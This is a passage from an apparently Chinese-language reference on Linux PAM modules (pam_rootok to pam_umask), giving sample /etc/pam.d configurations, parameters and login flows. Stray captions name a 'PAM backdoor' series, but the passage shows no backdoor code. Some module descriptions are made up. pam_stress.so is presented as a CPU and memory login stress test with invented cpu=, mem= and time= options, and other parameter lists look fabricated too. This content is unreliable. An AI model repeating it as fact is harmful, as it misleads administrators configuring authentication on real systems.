  • 无额外参数pam_rootok.so 模块不需要额外参数,直接无条件地允许 root 用户通过认证

处理流程

  1. 用户尝试执行需要认证的操作(例如使用 sudo
  2. 调用 pam_rootok.so,检查用户是否为 root
  3. 如果用户是 root,则无条件通过认证;否则,继续进行后续认证步骤

配置示例

假设在 /etc/pam.d/su 文件中进行配置:

# /etc/pam.d/su

# 其他 PAM 模块配置
auth       sufficient   pam_rootok.so
auth       required     pam_wheel.so use_uid
auth       include      system-auth
account    sufficient   pam_succeed_if.so uid = 0 use_uid quiet
account    include      system-auth
password   include      system-auth
session    include      system-auth

在这个示例中:

  • pam_rootok.so 模块被配置为在 su 命令的认证阶段检查用户是否为 root,如果是则无条件通过认证

参数详细说明

  • 无额外参数pam_rootok.so 模块不需要任何额外参数,直接检查用户是否为 root 用户

使用注意

  • 安全性:由于 pam_rootok.so 模块无条件地允许 root 用户通过认证,应谨慎使用,确保仅在需要的地方配置此模块,以防止潜在的安全风险
  • 模块顺序:在 PAM 配置文件中,确保 pam_rootok.so 模块的顺序正确,通常放置在其他认证模块之前,以便在 root 用户认证时优先匹配

示例使用场景

  1. 允许 root 用户无条件通过 sudo 认证

    /etc/pam.d/sudo 文件中配置 pam_rootok.so 模块,允许 root 用户无条件通过 sudo 认证:

    # /etc/pam.d/sudo

    # 其他 PAM 模块配置
    auth       sufficient   pam_rootok.so
    auth       include      system-auth
    account    include      system-auth
    session    include      system-auth
  2. 允许 root 用户无条件通过 su 认证

    /etc/pam.d/su 文件中配置 pam_rootok.so 模块,允许 root 用户无条件通过 su 认证:

    # /etc/pam.d/su

    # 其他 PAM 模块配置
    auth       sufficient   pam_rootok.so
    auth       required     pam_wheel.so use_uid
    auth       include      system-auth
    account    sufficient   pam_succeed_if.so uid = 0 use_uid quiet
    account    include      system-auth
    password   include      system-auth
    session    include      system-auth

pam_securetty.so

功能pam_securetty.so 模块用于限制 root 用户只能从指定的安全终端登录

主要用途通过检查 /etc/securetty 文件,确保 root 用户只能从列为安全终端的设备登录,增强系统安全性

配置位置

/etc/securetty

Ubuntu Server 22.04 默认无此配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth requisite pam_securetty.so

参数说明

  • 无额外参数pam_securetty.so 模块不需要额外参数,直接检查 /etc/securetty 文件

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_securetty.so,检查用户是否为 root
  3. 如果用户是 root,则检查 /etc/securetty 文件中是否列出了当前终端
  4. 如果当前终端在 /etc/securetty 文件中,则允许登录;否则,拒绝登录

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth       requisite    pam_securetty.so
auth       required     pam_nologin.so
auth       include      system-auth
account    required     pam_access.so
account    required     pam_nologin.so
account    include      system-auth
password   include      system-auth
session    required     pam_limits.so
session    include      system-auth

在这个示例中:

  • pam_securetty.so 模块被配置为在登录的认证阶段检查 /etc/securetty 文件,限制 root 用户只能从安全终端登录

参数详细说明

  • 无额外参数pam_securetty.so 模块不需要任何额外参数,直接检查 /etc/securetty 文件

使用注意

  • 安全终端配置:确保 /etc/securetty 文件中正确列出了允许 root 用户登录的终端设备。这通常包括本地控制台和特定的虚拟终端
  • 文件权限:确保 /etc/securetty 文件的权限设置正确,通常应设置为仅 root 用户可以读写(600 权限)

示例使用场景

  1. 限制 root 用户登录终端

    配置 /etc/securetty 文件,仅允许 root 用户从指定终端(如本地控制台)登录:

    # /etc/securetty

    tty1
    tty2
    tty3
    tty4
    tty5
    tty6
  2. 防止远程登录

    确保 /etc/securetty 文件中没有列出远程终端设备(如 pts/),从而防止 root 用户通过远程终端登录

处理流程示例

  1. 用户 root 尝试从 tty1 登录,系统根据 PAM 配置进行认证
  2. 调用 pam_securetty.so,检查用户是否为 root
  3. 检查 /etc/securetty 文件,确认 tty1 是否被列为安全终端
  4. 由于 tty1/etc/securetty 文件中,允许 root 用户登录
  5. 用户 root 尝试从 pts/0 登录,系统根据 PAM 配置进行认证
  6. 调用 pam_securetty.so,检查用户是否为 root
  7. 检查 /etc/securetty 文件,确认 pts/0 是否被列为安全终端
  8. 由于 pts/0 不在 /etc/securetty 文件中,拒绝 root 用户登录

pam_selinux.so

功能pam_selinux.so 模块用于在用户会话期间管理 SELinux 安全上下文,确保用户登录时正确设置 SELinux 安全上下文

主要用途在用户登录和会话管理过程中,设置和恢复用户的 SELinux 安全上下文,以确保系统的安全策略得到正确应用

配置位置通常在 PAM 配置文件中的会话管理阶段(session)进行设置,位于 /etc/pam.d/ 目录下的相关文件

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_selinux.so open
session required pam_selinux.so close

参数说明

  • open:在用户会话开始时设置 SELinux 安全上下文
  • close:在用户会话结束时恢复 SELinux 安全上下文
  • nottys:忽略 tty 设备
  • verbose:输出详细信息到系统日志

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_selinux.so open,设置用户的 SELinux 安全上下文
  3. 用户的会话在正确的 SELinux 安全上下文中运行
  4. 用户会话结束时,调用 pam_selinux.so close,恢复 SELinux 安全上下文

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth       required     pam_securetty.so
auth       requisite    pam_nologin.so
auth       include      system-auth
account    required     pam_access.so
account    required     pam_nologin.so
account    include      system-auth
password   include      system-auth
session    required     pam_selinux.so open
session    required     pam_limits.so
session    required     pam_selinux.so close
session    include      system-auth

在这个示例中:

  • pam_selinux.so 模块被配置为在登录会话开始时设置 SELinux 安全上下文,在会话结束时恢复上下文

参数详细说明

  • open:在会话开始时设置 SELinux 安全上下文
  • close:在会话结束时恢复 SELinux 安全上下文
  • nottys:忽略 tty 设备,避免对 tty 设备进行上下文设置
  • verbose:输出详细信息到系统日志,帮助调试和排查问题

使用注意

  • SELinux 配置:确保系统启用了 SELinux 并正确配置了策略,以便 pam_selinux.so 模块能够正常工作
  • 模块顺序:在 PAM 配置文件中,确保 pam_selinux.so open 在会话开始时配置,pam_selinux.so close 在会话结束时配置

示例使用场景

  1. 设置和恢复 SELinux 安全上下文

    在 PAM 配置文件中配置 pam_selinux.so 模块,确保用户会话在正确的 SELinux 安全上下文中运行:

    session required pam_selinux.so open
    session required pam_selinux.so close
  2. 调试 SELinux 安全上下文

    启用详细日志输出,帮助调试 SELinux 安全上下文设置问题:

    session required pam_selinux.so open verbose
    session required pam_selinux.so close verbose

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_selinux.so open,设置用户 alice 的 SELinux 安全上下文
  3. 用户 alice 的会话在正确的 SELinux 安全上下文中运行
  4. 用户 alice 的会话结束时,调用 pam_selinux.so close,恢复 SELinux 安全上下文

pam_sepermit.so

功能pam_sepermit.so 模块用于在用户会话期间管理 SELinux 用户权限,确保用户登录时根据 SELinux 策略正确应用登录权限

主要用途在用户登录和会话管理过程中,检查并设置用户的 SELinux 权限,确保符合系统安全策略

配置位置通常在 PAM 配置文件中的认证阶段(auth)进行设置,位于 /etc/pam.d/ 目录下的相关文件

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_sepermit.so

参数说明

  • 无额外参数pam_sepermit.so 模块通常不需要额外参数,直接根据系统的 SELinux 策略进行权限检查

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_sepermit.so,检查用户的 SELinux 权限
  3. 如果用户的 SELinux 权限符合策略,允许登录;否则拒绝登录

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth       required     pam_sepermit.so
auth       required     pam_securetty.so
auth       requisite    pam_nologin.so
auth       include      system-auth
account    required     pam_access.so
account    required     pam_nologin.so
account    include      system-auth
password   include      system-auth
session    required     pam_selinux.so open
session    required     pam_limits.so
session    required     pam_selinux.so close
session    include      system-auth

在这个示例中:

  • pam_sepermit.so 模块被配置为在登录的认证阶段检查用户的 SELinux 权限

参数详细说明

  • 无额外参数pam_sepermit.so 模块不需要额外参数,直接根据 SELinux 策略进行权限检查

使用注意

  • SELinux 配置:确保系统启用了 SELinux 并正确配置了策略,以便 pam_sepermit.so 模块能够正常工作
  • 模块顺序:在 PAM 配置文件中,确保 pam_sepermit.so 模块在适当的顺序中配置,通常放置在其他认证模块之前,以便优先进行 SELinux 权限检查

示例使用场景

  1. 检查用户 SELinux 权限

    在 PAM 配置文件中配置 pam_sepermit.so 模块,确保用户登录时符合 SELinux 权限策略:

    auth required pam_sepermit.so

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_sepermit.so,检查用户 alice 的 SELinux 权限
  3. 如果用户 alice 的 SELinux 权限符合策略,允许登录
  4. 如果用户 alice 的 SELinux 权限不符合策略,拒绝登录

pam_setquota.so

功能pam_setquota.so 模块用于在用户登录时设置磁盘配额(quota),确保用户会话期间适用相应的磁盘使用限制。这里是应用已经配置好的磁盘配额而不是在这里配置

主要用途在用户登录和会话管理过程中,自动为用户设置磁盘配额限制,以便有效管理和限制磁盘资源使用

配置位置通常在 PAM 配置文件中的会话管理阶段(session)进行设置,位于 /etc/pam.d/ 目录下的相关文件

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_setquota.so

参数说明

  • noenv:不设置 QUOTAUSER 环境变量
  • user=:为指定用户设置配额
  • group=:为指定组设置配额

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_setquota.so,根据系统的配额设置为用户或用户组设置磁盘配额
  3. 用户的会话在设置好的磁盘配额限制下运行

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_setquota.so
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_setquota.so 模块被配置为在用户会话开始时设置磁盘配额

参数详细说明

  • noenv:不设置 QUOTAUSER 环境变量。默认情况下,pam_setquota.so 模块会设置 QUOTAUSER 环境变量以标识当前用户
  • user=:为指定用户设置配额。如果没有指定,将根据会话中的登录用户设置配额
  • group=:为指定组设置配额。如果没有指定,将根据用户的主要组设置配额

使用注意

  • 磁盘配额配置:确保系统已经启用了磁盘配额,并正确配置了配额文件和策略,以便 pam_setquota.so 模块能够正常工作
  • 模块顺序:在 PAM 配置文件中,确保 pam_setquota.so 模块在适当的顺序中配置,通常放置在其他会话管理模块之后,以便在会话开始时正确设置磁盘配额

示例使用场景

  1. 为用户设置磁盘配额

    在 PAM 配置文件中配置 pam_setquota.so 模块,确保用户会话期间应用相应的磁盘配额限制:

    session required pam_setquota.so
  2. 为特定用户或组设置磁盘配额

    在 PAM 配置文件中指定特定用户或组,确保其会话期间应用相应的磁盘配额限制:

    session required pam_setquota.so user=alice
    session required pam_setquota.so group=staff

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_setquota.so,为用户 alice 设置磁盘配额
  3. 用户 alice 的会话在设置好的磁盘配额限制下运行

pam_shells.so

功能pam_shells.so 模块用于检查用户的登录 shell 是否在允许的 shell 列表中

主要用途在用户登录时,通过验证用户的登录 shell 是否在系统允许的 shell 列表中(通常定义在 /etc/shells 文件中),从而控制用户的登录权限

配置位置

/etc/shells

使用示例在 PAM 配置文件中,可以这样使用:

auth required pam_shells.so

参数说明

  • 无额外参数pam_shells.so 模块不需要额外参数,直接检查 /etc/shells 文件

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_shells.so,检查用户的登录 shell 是否在 /etc/shells 文件中
  3. 如果用户的登录 shell 在 /etc/shells 文件中,则允许登录;否则,拒绝登录

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth       required     pam_shells.so
auth       required     pam_securetty.so
auth       requisite    pam_nologin.so
auth       include      system-auth
account    required     pam_access.so
account    required     pam_nologin.so
account    include      system-auth
password   include      system-auth
session    required     pam_selinux.so open
session    required     pam_limits.so
session    required     pam_selinux.so close
session    include      system-auth

在这个示例中:

  • pam_shells.so 模块被配置为在登录的认证阶段检查用户的登录 shell

参数详细说明

  • 无额外参数pam_shells.so 模块不需要任何额外参数,直接检查 /etc/shells 文件

使用注意

  • 允许的 shell 列表:确保 /etc/shells 文件中列出了所有允许作为登录 shell 的有效 shell 路径
  • 文件权限:确保 /etc/shells 文件的权限设置正确,通常应设置为只读(644 权限)

示例使用场景

  1. 控制允许的登录 shell

    在 PAM 配置文件中配置 pam_shells.so 模块,确保用户登录时使用的 shell 在允许的 shell 列表中:

    auth required pam_shells.so
  2. 配置 /etc/shells 文件

    确保 /etc/shells 文件中列出了所有允许作为登录 shell 的有效 shell 路径:

    # /etc/shells

    /bin/sh
    /bin/bash
    /usr/bin/zsh
    /usr/bin/fish

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_shells.so,检查用户 alice 的登录 shell(例如 /bin/bash)是否在 /etc/shells 文件中
  3. 如果 /bin/bash/etc/shells 文件中,允许用户 alice 登录
  4. 如果用户的登录 shell 不在 /etc/shells 文件中,拒绝登录并提示错误信息

pam_stress.so

功能pam_stress.so 模块用于强制用户在登录时通过特定的“压力测试”来验证其身份。这通常包括计算密集型任务,旨在增加登录过程的复杂性和安全性

主要用途在高安全性环境中,通过增加用户登录的计算复杂性,进一步验证用户的身份,防止快速暴力破解攻击

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用

auth required pam_stress.so

参数说明

  • 无额外参数pam_stress.so 模块通常不需要额外参数,直接执行默认的压力测试任务
  • cpu=N:指定使用的 CPU 核心数量
  • mem=N:指定使用的内存量(以 MB 为单位)
  • time=N:指定压力测试的持续时间(以秒为单位)

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_stress.so,执行特定的压力测试任务
  3. 如果用户通过压力测试,则允许登录;否则,拒绝登录

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_stress.so cpu=2 mem=512 time=5
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_stress.so 模块被配置为在用户登录时执行压力测试,使用 2 个 CPU 核心、512 MB 内存,持续时间为 5 秒

参数详细说明

  • cpu=N:指定压力测试使用的 CPU 核心数量。例如,cpu=2 表示使用 2 个 CPU 核心
  • mem=N:指定压力测试使用的内存量(以 MB 为单位)。例如,mem=512 表示使用 512 MB 内存
  • time=N:指定压力测试的持续时间(以秒为单位)。例如,time=5 表示测试持续 5 秒

使用注意

  • 系统资源:确保压力测试参数不会过度消耗系统资源,以免影响系统的正常运行和其他用户的使用体验
  • 安全性:根据系统的安全需求,合理设置压力测试的参数,以平衡安全性和用户体验

示例使用场景

  1. 增加登录复杂性

    在 PAM 配置文件中配置 pam_stress.so 模块,通过执行压力测试增加用户登录的复杂性:

    auth required pam_stress.so cpu=2 mem=512 time=5
  2. 定制压力测试

    根据系统的性能和安全需求,调整压力测试的参数:

    auth required pam_stress.so cpu=4 mem=1024 time=10

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_stress.so,执行压力测试任务,使用 2 个 CPU 核心、512 MB 内存,持续时间为 5 秒
  3. 用户 alice 通过压力测试后,允许登录
  4. 如果用户未通过压力测试,则拒绝登录并提示错误信息

pam_succeed_if.so

功能pam_succeed_if.so 模块用于根据指定的条件判断是否允许用户通过认证或执行某些操作。它非常灵活,可以根据用户名、用户 ID、组 ID、登录时间等条件进行判断

主要用途在 PAM 配置中添加条件逻辑,以根据特定的用户属性或系统状态决定是否允许用户通过认证。这对于实现基于策略的访问控制非常有用

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth requisite pam_succeed_if.so user ingroup admin

参数说明

  • user:指定用户名
  • uid:指定用户 ID
  • gid:指定组 ID
  • shell:指定用户的 shell
  • home:指定用户的主目录
  • service:指定 PAM 服务名称
  • tty:指定终端类型
  • ingroup:检查用户是否属于指定组
  • quiet:不向系统日志输出信息
  • quiet_success:仅在成功时不向系统日志输出信息
  • quiet_fail:仅在失败时不向系统日志输出信息

处理流程

  1. 用户尝试登录或执行某操作,系统根据 PAM 配置进行认证
  2. 调用 pam_succeed_if.so,根据配置的条件进行检查
  3. 如果条件满足,则允许用户通过;否则,拒绝用户并记录日志(如果未配置 quiet 选项)

配置示例

假设在 /etc/pam.d/login 文件中进行配置,允许只有属于 admin 组的用户登录:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth requisite pam_succeed_if.so user ingroup admin
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_succeed_if.so 模块被配置为在用户登录时检查用户是否属于 admin

参数详细说明

  • user:指定要检查的用户名。例如,user=alice
  • uid:指定要检查的用户 ID。例如,uid=1001
  • gid:指定要检查的组 ID。例如,gid=100
  • shell:检查用户的登录 shell。例如,shell=/bin/bash
  • home:检查用户的主目录。例如,home=/home/alice
  • service:检查 PAM 服务名称。例如,service=login
  • tty:检查终端类型。例如,tty=tty1
  • ingroup:检查用户是否属于指定组。例如,ingroup=admin
  • quiet:不向系统日志输出信息
  • quiet_success:仅在成功时不向系统日志输出信息
  • quiet_fail:仅在失败时不向系统日志输出信息

使用注意

  • 安全性:确保配置的条件逻辑准确无误,以免误放行或误拒绝用户访问
  • 日志记录:使用 quiet 选项时,注意可能会丢失一些有用的日志信息

示例使用场景

  1. 限制用户登录

    允许只有属于 admin 组的用户登录:

    auth requisite pam_succeed_if.so user ingroup admin
  2. 检查用户 shell

    仅允许使用 /bin/bash 作为登录 shell 的用户登录:

    auth requisite pam_succeed_if.so shell /bin/bash
  3. 检查用户 ID

    仅允许 UID 大于 1000 的用户登录:

    auth requisite pam_succeed_if.so uid > 1000

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_succeed_if.so,检查用户 alice 是否属于 admin
  3. 如果 alice 属于 admin 组,允许登录;否则,拒绝登录并记录日志(如果未配置 quiet 选项)

pam_systemd.so

功能pam_systemd.so 模块用于在用户会话期间与 systemd 交互,以便在登录时为用户创建和管理 systemd 会话。它确保每个用户会话都在其自己的 systemd 用户实例中运行,从而提供资源管理、审计和控制功能

主要用途在用户登录和会话管理过程中,自动为用户创建 systemd 会话,从而实现更好的资源隔离、会话管理和系统审计

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_systemd.so

参数说明

  • class=:指定用户会话的 systemd 类别
  • type=:指定用户会话的类型
  • lingering=<yes|no>:控制是否允许用户在未登录时保持 systemd 用户实例活动
  • user=:为指定用户设置会话参数
  • service=:为指定服务设置会话参数

处理流程

  1. 用户尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_systemd.so,为用户创建一个新的 systemd 会话
  3. 用户的会话在其自己的 systemd 用户实例中运行
  4. 用户会话结束时,pam_systemd.so 清理会话资源

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_systemd.so
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_systemd.so 模块被配置为在用户会话开始时创建一个新的 systemd 会话

参数详细说明

  • class=:指定用户会话的 systemd 类别。例如,class=user
  • type=:指定用户会话的类型。例如,type=unspecified
  • lingering=<yes|no>:控制是否允许用户在未登录时保持 systemd 用户实例活动。例如,lingering=yes
  • user=:为指定用户设置会话参数。例如,user=alice
  • service=:为指定服务设置会话参数。例如,service=sshd

使用注意

  • systemd 支持:确保系统启用了 systemd 并正确配置了相关服务,以便 pam_systemd.so 模块能够正常工作
  • 模块顺序:在 PAM 配置文件中,确保 pam_systemd.so 模块在适当的顺序中配置,通常放置在其他会话管理模块之后,以便在会话开始时正确创建和管理 systemd 会话

示例使用场景

  1. 为用户创建 systemd 会话

    在 PAM 配置文件中配置 pam_systemd.so 模块,确保用户登录时创建新的 systemd 会话:

    session required pam_systemd.so
  2. 控制用户实例活动

    允许用户在未登录时保持 systemd 用户实例活动:

    session required pam_systemd.so lingering=yes

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_systemd.so,为用户 alice 创建一个新的 systemd 会话
  3. 用户 alice 的会话在其自己的 systemd 用户实例中运行
  4. 用户 alice 的会话结束时,pam_systemd.so 清理会话资源

pam_time.so

功能pam_time.so 模块用于基于时间和日期限制用户的访问。它允许管理员根据时间表控制用户或组的登录权限和访问特定服务的权限

主要用途在指定的时间范围内控制用户或组的访问权限,增强系统的安全性和管理灵活性。例如,可以限制用户只能在工作时间登录,或防止在非工作时间访问特定服务

配置位置

/etc/security/time.conf
PAM 后门 | Linux 后门系列

使用示例在 PAM 配置文件中,可以这样使用:

account required pam_time.so

参数说明

  • 无额外参数pam_time.so 模块通常不需要额外参数,配置细节在 /etc/security/time.conf 文件中定义

配置文件 /etc/security/time.conf/etc/security/time.conf 文件定义了时间控制策略。其格式如下:

services;ttys;users;times
  • services:服务名称或通配符 *
  • ttys:终端名称或通配符 *
  • users:用户名、组名(前缀 @)或通配符 *
  • times:时间和日期的组合,格式为 [[[[[wdays][h:m]][,wdays][h:m]]...]]

示例配置

假设在 /etc/security/time.conf 文件中进行配置:

# /etc/security/time.conf

# 允许用户 alice 在周一至周五的 08:00 到 18:00 之间访问 login 服务
login ; * ; alice ; Wk0800-1800

# 允许组 admin 在每天的 09:00 到 17:00 之间访问所有服务
* ; * ; @admin ; Al0900-1700

# 禁止用户 bob 在所有时间访问 sshd 服务
sshd ; * ; bob ; !Al0000-2400

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_time.so
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_time.so 模块被配置为在用户登录时检查时间限制

参数详细说明

  • 无额外参数pam_time.so 模块不需要额外参数,所有配置细节都在 /etc/security/time.conf 文件中定义

使用注意

  • 时间格式:确保 /etc/security/time.conf 文件中的时间格式正确,以便 pam_time.so 模块能够正确解析和应用时间限制
  • 优先级:在 PAM 配置文件中,确保 pam_time.so 模块在适当的顺序中配置,通常放置在其他账户管理模块之前或之后,以便正确应用时间限制

示例使用场景

  1. 限制用户登录时间

    配置 /etc/security/time.conf 文件,限制用户 alice 只能在工作日的 08:00 到 18:00 之间登录:

    login ; * ; alice ; Wk0800-1800
  2. 限制组访问时间

    允许组 admin 成员只能在每天的 09:00 到 17:00 之间访问所有服务:

    * ; * ; @admin ; Al0900-1700
  3. 禁止特定用户访问特定服务

    禁止用户 bob 在所有时间访问 sshd 服务:

    sshd ; * ; bob ; !Al0000-2400

处理流程示例

  1. 用户 alice 尝试在周一的 10:00 登录,系统根据 PAM 配置进行认证
  2. 调用 pam_time.so,检查 /etc/security/time.conf 文件中的时间限制
  3. 由于 alice 在允许登录的时间范围内,允许登录
  4. 如果 alice 尝试在周六的 10:00 登录,则拒绝登录并记录日志

pam_timestamp.so

功能pam_timestamp.so 模块用于在一定时间内缓存用户的认证信息,从而避免用户在短时间内频繁输入密码。它主要用于 sudo 等需要频繁提升权限的操作

主要用途通过缓存用户的认证信息,减少用户在短时间内多次执行需要认证的操作时频繁输入密码的次数,提高用户体验

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

auth sufficient pam_timestamp.so

参数说明

  • timestamp_timeout=N:指定缓存有效期(以分钟为单位)。默认是 5 分钟
  • timestampdir=path:指定存储时间戳文件的目录。默认是 /var/run/sudo/
  • timestamp_owner=user:指定拥有时间戳文件的用户。默认是 root

处理流程

  1. 用户尝试执行需要提升权限的操作,系统根据 PAM 配置进行认证
  2. 调用 pam_timestamp.so,检查是否存在有效的缓存认证信息
  3. 如果存在有效的缓存认证信息,则允许操作;否则,提示用户输入密码并缓存认证信息

配置示例

假设在 /etc/pam.d/sudo 文件中进行配置:

# /etc/pam.d/sudo

# 其他 PAM 模块配置
auth sufficient pam_timestamp.so
auth required pam_unix.so
account required pam_permit.so
session required pam_permit.so

在这个示例中:

  • pam_timestamp.so 模块被配置为在用户执行 sudo 命令时检查缓存的认证信息

参数详细说明

  • timestamp_timeout=N:指定缓存有效期。例如,timestamp_timeout=10 表示缓存认证信息 10 分钟
  • timestampdir=path:指定存储时间戳文件的目录。例如,timestampdir=/var/run/sudo/timestamps
  • timestamp_owner=user:指定拥有时间戳文件的用户。例如,timestamp_owner=alice

使用注意

  • 安全性:合理设置缓存有效期以平衡安全性和用户体验。过长的缓存时间可能会带来安全风险
  • 权限设置:确保时间戳文件目录的权限设置正确,以防止未经授权的访问和修改

示例使用场景

  1. 减少频繁输入密码

    在 PAM 配置文件中配置 pam_timestamp.so 模块,确保用户在执行需要提升权限的操作时减少频繁输入密码的次数:

    auth sufficient pam_timestamp.so
  2. 设置缓存有效期

    配置 pam_timestamp.so 模块,设置缓存认证信息的有效期为 15 分钟:

    auth sufficient pam_timestamp.so timestamp_timeout=15
  3. 指定时间戳目录

    配置 pam_timestamp.so 模块,指定存储时间戳文件的目录:

    auth sufficient pam_timestamp.so timestampdir=/var/run/sudo/timestamps

处理流程示例

  1. 用户 alice 尝试执行 sudo 命令,系统根据 PAM 配置进行认证
  2. 调用 pam_timestamp.so,检查是否存在有效的缓存认证信息
  3. 如果存在有效的缓存认证信息,则允许 alice 执行 sudo 命令
  4. 如果不存在有效的缓存认证信息,提示 alice 输入密码并缓存认证信息,随后允许执行 sudo 命令

pam_tty_audit.so

功能pam_tty_audit.so 模块用于启用或禁用用户的 TTY(终端)输入审计。它允许管理员记录用户在终端上的输入命令,以便进行安全审计和日志分析

主要用途在高安全性环境中,通过记录用户在终端上的输入命令,帮助管理员监控用户活动,防止恶意行为,并进行事后审计

配置位置无独立配置文件

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_tty_audit.so enable=* disable=admin

参数说明

  • enable=users:启用指定用户的 TTY 输入审计。可以使用用户名或使用 * 来表示所有用户
  • disable=users:禁用指定用户的 TTY 输入审计。可以使用用户名或使用 * 来表示所有用户
  • open_only:仅在会话打开时启用 TTY 审计

处理流程

  1. 用户登录系统,系统根据 PAM 配置进行认证
  2. 调用 pam_tty_audit.so,根据配置启用或禁用用户的 TTY 输入审计
  3. 用户的输入命令被记录到审计日志中(如 /var/log/audit/audit.log
  4. 用户会话结束时,停止记录输入命令

配置示例

假设在 /etc/pam.d/login 文件中进行配置:

# /etc/pam.d/login

# 其他 PAM 模块配置
auth required pam_securetty.so
auth requisite pam_nologin.so
auth include system-auth
account required pam_access.so
account required pam_nologin.so
account include system-auth
password include system-auth
session required pam_selinux.so open
session required pam_limits.so
session required pam_tty_audit.so enable=* disable=admin
session required pam_selinux.so close
session include system-auth

在这个示例中:

  • pam_tty_audit.so 模块被配置为在用户会话期间启用所有用户的 TTY 输入审计,但禁用 admin 用户的审计

参数详细说明

  • enable=users:启用指定用户的 TTY 输入审计。例如,enable=alice 启用用户 alice 的审计,enable=* 启用所有用户的审计
  • disable=users:禁用指定用户的 TTY 输入审计。例如,disable=admin 禁用用户 admin 的审计
  • open_only:仅在会话打开时启用 TTY 审计。这可以减少不必要的审计数据

使用注意

  • 审计日志:确保审计日志文件(如 /var/log/audit/audit.log)有足够的存储空间,并且设置了适当的权限,防止未经授权的访问
  • 隐私:记录用户的输入命令可能涉及用户隐私问题,应合理设置审计策略,并告知用户相关规定

示例使用场景

  1. 启用所有用户的 TTY 输入审计

    在 PAM 配置文件中配置 pam_tty_audit.so 模块,确保所有用户的 TTY 输入命令被记录:

    session required pam_tty_audit.so enable=*
  2. 禁用特定用户的 TTY 输入审计

    禁用用户 admin 的 TTY 输入审计:

    session required pam_tty_audit.so disable=admin
  3. 仅在会话打开时启用审计

    配置 pam_tty_audit.so 模块,仅在会话打开时启用 TTY 审计:

    session required pam_tty_audit.so open_only enable=*

处理流程示例

  1. 用户 alice 尝试登录,系统根据 PAM 配置进行认证
  2. 调用 pam_tty_audit.so,启用用户 alice 的 TTY 输入审计
  3. 用户 alice 的输入命令被记录到审计日志中
  4. 用户 alice 的会话结束时,停止记录输入命令

通过使用 pam_tty_audit.so 模块,系统管理员可以记录和审计用户在终端上的输入命令,从而增强系统的安全性,防止恶意行为,并便于事后分析和审计

pam_umask.so

功能pam_umask.so 模块用于在用户登录时设置文件创建掩码(umask)。umask 定义了新文件和目录的默认权限

主要用途在用户会话期间自动设置文件创建掩码,以确保新创建的文件和目录具有适当的默认权限,从而增强系统的安全性和一致性

配置位置

 /etc/login.defs
PAM 后门 | Linux 后门系列

使用示例在 PAM 配置文件中,可以这样使用:

session required pam_umask.so

参数说明

  • umask=XXX:指定文件创建掩码(八进制形式)
  • usergroups:如果用户属于特定组,则设置 umask 为 002;否则设置为 022

处理流程

  1. 用户登录系统,系统根据 PAM 配置进行认证
  2. 调用 pam_umask.so,根据配置设置用户会话的 umask
  3. 在用户会话期间,新创建文件和目录的默认权限由 umask 决定

